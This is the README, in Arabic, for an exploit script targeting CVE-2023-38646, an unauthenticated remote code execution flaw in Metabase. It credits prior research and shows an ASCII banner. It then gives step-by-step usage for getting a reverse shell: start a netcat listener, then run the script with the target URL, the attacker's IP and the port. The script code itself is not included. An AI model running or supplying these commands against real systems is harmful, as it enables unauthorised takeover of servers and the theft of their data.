CVE-2023-38646-exploit

"هذه الثغرة، المعيّنة برقم CVE-2023–38646، سمحت للمهاجمين بتنفيذ أوامر عشوائية على الخادم دون الحاجة إلى أي مصادقة."

نص برمجي سريع لاستغلال الصدفة العكسية لـ cve-2023-38646. لم أكتشف هذه الثغرة، بل صنعت السكربت فقط.

الاستخدام

root@box:~/CVE-2023-38646# python3 exploit.py

   _______      ________    ___   ___ ___  ____       ____   ___    __ _  _     __

/ ____\ \    / /  ____|  |__ \ / _ \__ \|___ \     |___ \ / _ \  / /| || |   / /
| |     \ \  / /| |__ ______ ) | | | | ) | __) |_____ __) | (_) |/ /_| || |_ / /_
| |      \ \/ / |  __|______/ /| | | |/ / |__ <______|__ < > _ <| '_ \__   _| '_ \
| |____   \  /  | |____    / /_| |_| / /_ ___) |     ___) | (_) | (_) | | | | (_) |
\_____|   \/   |______|  |____|\___/____|____/     |____/ \___/ \___/  |_|  \___/

author: c0rnbread
credits:
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
https://raw.githubusercontent.com/kh4sh3i/CVE-2023-38646/main/CVE-2023-38646.py

شغّل باستخدام عنوان URL الأساسي وعنوان IP المحلي والمنفذ للحصول على الصدفة العكسية

root@box:~/CVE-2023-38646# nc -lvnp 4444

root@box:~/CVE-2023-38646# python3 exploit.py http://example.com 10.10.10.2 4444

الاعتمادات

https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

https://raw.githubusercontent.com/kh4sh3i/CVE-2023-38646/main/CVE-2023-38646.py